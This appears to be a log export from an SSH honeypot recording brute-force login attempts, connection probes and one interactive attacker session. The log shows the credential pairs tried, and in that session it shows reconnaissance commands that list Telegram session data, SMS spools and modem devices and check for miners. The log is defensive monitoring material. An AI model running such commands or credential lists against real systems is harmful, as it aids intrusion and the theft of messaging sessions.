Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "f13a5f1e7929",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:58:09.066796Z",
  "end_time": "2026-10-10T04:58:10.494584Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "setup",
      "pass": "setup"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:53:44.850804 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: josh

Record ID: ed4fffb3c085
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "ed4fffb3c085",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:53:44.850804Z",
  "end_time": "2026-10-10T04:53:46.280522Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "josh",
      "pass": "josh"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
59.103.41.99
2026-10-10 04:53:28.775055 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e48a871ffd71
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "e48a871ffd71",
  "src_ip": "59.103.41.99",
  "start_time": "2026-10-10T04:53:28.775055Z",
  "end_time": "2026-10-10T04:53:28.778484Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
59.103.41.99
2026-10-10 04:53:02.587141 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 82175e9ac17b
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "82175e9ac17b",
  "src_ip": "59.103.41.99",
  "start_time": "2026-10-10T04:53:02.587141Z",
  "end_time": "2026-10-10T04:53:02.590557Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
45.237.81.138
2026-10-10 04:50:46.171475 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4ba4dd36ce36
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "4ba4dd36ce36",
  "src_ip": "45.237.81.138",
  "start_time": "2026-10-10T04:50:46.171475Z",
  "end_time": "2026-10-10T04:50:46.174894Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
38.22.169.6
2026-10-10 04:49:16.865422 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: c375804a52e3
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "c375804a52e3",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:49:16.865422Z",
  "end_time": "2026-10-10T04:49:18.299167Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "test"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
181.164.33.63
2026-10-10 04:44:45.962154 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d021d1f6f6a
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "7d021d1f6f6a",
  "src_ip": "181.164.33.63",
  "start_time": "2026-10-10T04:44:45.962154Z",
  "end_time": "2026-10-10T04:44:45.965211Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
38.22.169.6
2026-10-10 04:44:45.380256 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: 062b466651da
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "062b466651da",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:44:45.380256Z",
  "end_time": "2026-10-10T04:44:46.807472Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
176.53.159.196
2026-10-10 04:44:17.662542 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 173505d9b9c5
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "173505d9b9c5",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-10T04:44:17.662542Z",
  "end_time": "2026-10-10T04:44:18.815663Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
45.56.79.53
2026-10-10 04:44:12.358291 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8884d0406a1a
Client Version: uqU\x87v\x9c\x8f,\xf9a.\x99\xae\x92\x94NZI\x8b\xbcb0\xb7?\xb4k\x91\x9f\x95\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0
Engagement Duration: 0.0s
{
  "id": "8884d0406a1a",
  "src_ip": "45.56.79.53",
  "start_time": "2026-10-10T04:44:12.358291Z",
  "end_time": "2026-10-10T04:44:12.363771Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003U\\x87v\u0018\\x9c\\x8f,\\xf9a.\\x99\\xae\\x92\\x94NZ\u0015I\u000e\\x8b\\xbcb0\\xb7?\u001f\\xb4k\\x91\\x9f\\x95\u007f\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
181.164.33.63
2026-10-10 04:44:08.349889 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 578968b1fab0
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "578968b1fab0",
  "src_ip": "181.164.33.63",
  "start_time": "2026-10-10T04:44:08.349889Z",
  "end_time": "2026-10-10T04:44:08.353014Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
118.193.58.125
2026-10-10 04:44:03.304797 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0a41d61089d5
Client Version: SSH-1.5-Server
Engagement Duration: 0.0s
{
  "id": "0a41d61089d5",
  "src_ip": "118.193.58.125",
  "start_time": "2026-10-10T04:44:03.304797Z",
  "end_time": "2026-10-10T04:44:03.309877Z",
  "duration": "0.0",
  "version": "SSH-1.5-Server",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
118.193.58.125
2026-10-10 04:44:02.656646 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0257cde43ef4
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 0.5s
HASSH Fingerprint: b893695067f94c8d2ed92025b192c636
{
  "id": "0257cde43ef4",
  "src_ip": "118.193.58.125",
  "start_time": "2026-10-10T04:44:02.656646Z",
  "end_time": "2026-10-10T04:44:03.147330Z",
  "duration": "0.5",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "b893695067f94c8d2ed92025b192c636",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
118.193.58.125
2026-10-10 04:43:44.334464 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6cbfde1db426
Client Version: Unknown
Engagement Duration: 18.2s
{
  "id": "6cbfde1db426",
  "src_ip": "118.193.58.125",
  "start_time": "2026-10-10T04:43:44.334464Z",
  "end_time": "2026-10-10T04:44:02.496217Z",
  "duration": "18.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
118.193.58.125
2026-10-10 04:43:44.008121 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2a4180a2ae2e
Client Version: \xfc\xf8\xb8\x9bs\xc2h\xda\xceu?y\xd5ja7\xddiڷ\xa5<\xf3*\x93]ּ8\x8c\xfdk\ 0\x87}\x9d\xec\xc7\xb5\xd1w\xb8g\xd67nuk\x9d\xe9+\xb1p\x81\x84w)\x93\x97|\x91\xe44̨̩\xc0/\xc00\xc0+\xc0,\xc0 \x9ę̪3=\xc0
Engagement Duration: 0.0s
{
  "id": "2a4180a2ae2e",
  "src_ip": "118.193.58.125",
  "start_time": "2026-10-10T04:43:44.008121Z",
  "end_time": "2026-10-10T04:43:44.013975Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\\xb8\\x9bs\\xc2h\\xda\\xceu?y\\xd5ja7\\xddi\u06b7\\xa5\u0019<\\xf3*\\x93]\u05bc8\\x8c\\xfdk\\ 0\\x87}\\x9d\\xec\\xc7\u001f\\xb5\\xd1w\u0014\\xb8g\\xd67nuk\\x9d\\xe9+\\xb1p\\x81\\x84w)\\x93\\x97|\\x91\\xe4\u00004\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\t\u0000\\x9e\u0328\u032a\u00003\u0000=\u0000\u0016\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.25
2026-10-10 04:42:06.290752 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / vincen

Record ID: 1519768cdc4c
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "1519768cdc4c",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-10T04:42:06.290752Z",
  "end_time": "2026-10-10T04:42:12.308580Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "vincen"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
115.140.161.61
2026-10-10 04:40:42.171685 UTC
COMMANDS RUN DATA THEFT SUCCESSFUL LOGIN ROUTER TARGETING RECONNAISSANCE SCORE: 530

Credential acceptance event recorded. Target authentication: root / root

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ /ip cloud print
Command not found: /ip cloud print
[obs-node]:~$ ifconfig
[obs-node]:~$ uname -a
[obs-node]:~$ cat /proc/cpuinfo
[obs-node]:~$ ps | grep '[Mm]iner'
[obs-node]:~$ ps -ef | grep '[Mm]iner'
[obs-node]:~$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
[obs-node]:~$ locate D877F783D5D3EF8Cs
[obs-node]:~$ echo Hi | cat -n
Record ID: 60b39e654d18
Client Version: SSH-2.0-libssh2_1.11.1
Engagement Duration: 1m 2s
HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb
{
  "id": "60b39e654d18",
  "src_ip": "115.140.161.61",
  "start_time": "2026-10-10T04:40:42.171685Z",
  "end_time": "2026-10-10T04:41:44.164891Z",
  "duration": "62.0",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [
    "/ip cloud print",
    "ifconfig",
    "uname -a",
    "cat /proc/cpuinfo",
    "ps | grep '[Mm]iner'",
    "ps -ef | grep '[Mm]iner'",
    "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
    "locate D877F783D5D3EF8Cs",
    "echo Hi | cat -n"
  ],
  "detailed_commands": [
    {
      "cmd": "/ip cloud print",
      "failed": true,
      "error": "Command not found: /ip cloud print"
    },
    {
      "cmd": "ifconfig",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps -ef | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
      "failed": false,
      "error": null
    },
    {
      "cmd": "locate D877F783D5D3EF8Cs",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo Hi | cat -n",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/ip cloud print"
  ],
  "score": 530,
  "tags": [
    "COMMANDS RUN",
    "DATA THEFT",
    "SUCCESSFUL LOGIN",
    "ROUTER TARGETING",
    "RECONNAISSANCE"
  ]
}
38.22.169.6
2026-10-10 04:40:17.308853 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: d8bcf2d7254a
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "d8bcf2d7254a",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:40:17.308853Z",
  "end_time": "2026-10-10T04:40:18.737270Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "root"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:35:49.192636 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: 25dffd693d2e
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "25dffd693d2e",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:35:49.192636Z",
  "end_time": "2026-10-10T04:35:50.619899Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:31:32.804280 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: ceb79f186d45
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "ceb79f186d45",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:31:32.804280Z",
  "end_time": "2026-10-10T04:31:34.231256Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "api@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:27:17.411105 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api

Record ID: bf721804f0aa
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "bf721804f0aa",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:27:17.411105Z",
  "end_time": "2026-10-10T04:27:18.844733Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
194.88.251.172
2026-10-10 04:26:55.357032 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9c971b0b00eb
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "9c971b0b00eb",
  "src_ip": "194.88.251.172",
  "start_time": "2026-10-10T04:26:55.357032Z",
  "end_time": "2026-10-10T04:26:55.363996Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
194.88.251.172
2026-10-10 04:25:56.170507 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b0cf404fb486
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "b0cf404fb486",
  "src_ip": "194.88.251.172",
  "start_time": "2026-10-10T04:25:56.170507Z",
  "end_time": "2026-10-10T04:25:56.174005Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.112
2026-10-10 04:25:46.440718 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: tashawn

Record ID: 3ba8955f1be6
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "3ba8955f1be6",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-10T04:25:46.440718Z",
  "end_time": "2026-10-10T04:25:52.958814Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "tashawn",
      "pass": "tashawn"
    },
    {
      "user": "tashawn",
      "pass": "tashawn1"
    },
    {
      "user": "tashawn",
      "pass": "tashawn123"
    },
    {
      "user": "tashawn",
      "pass": "tashawn1234"
    },
    {
      "user": "tashawn",
      "pass": "tashawn12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:22:48.732160 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: apiserver

Record ID: 8a782839c491
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "8a782839c491",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:22:48.732160Z",
  "end_time": "2026-10-10T04:22:50.159004Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "apiserver",
      "pass": "apiserver"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-10 04:18:24.967970 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: api-server

Record ID: 6300e9174c83
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "6300e9174c83",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-10T04:18:24.967970Z",
  "end_time": "2026-10-10T04:18:26.398070Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "api-server",
      "pass": "api-server"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}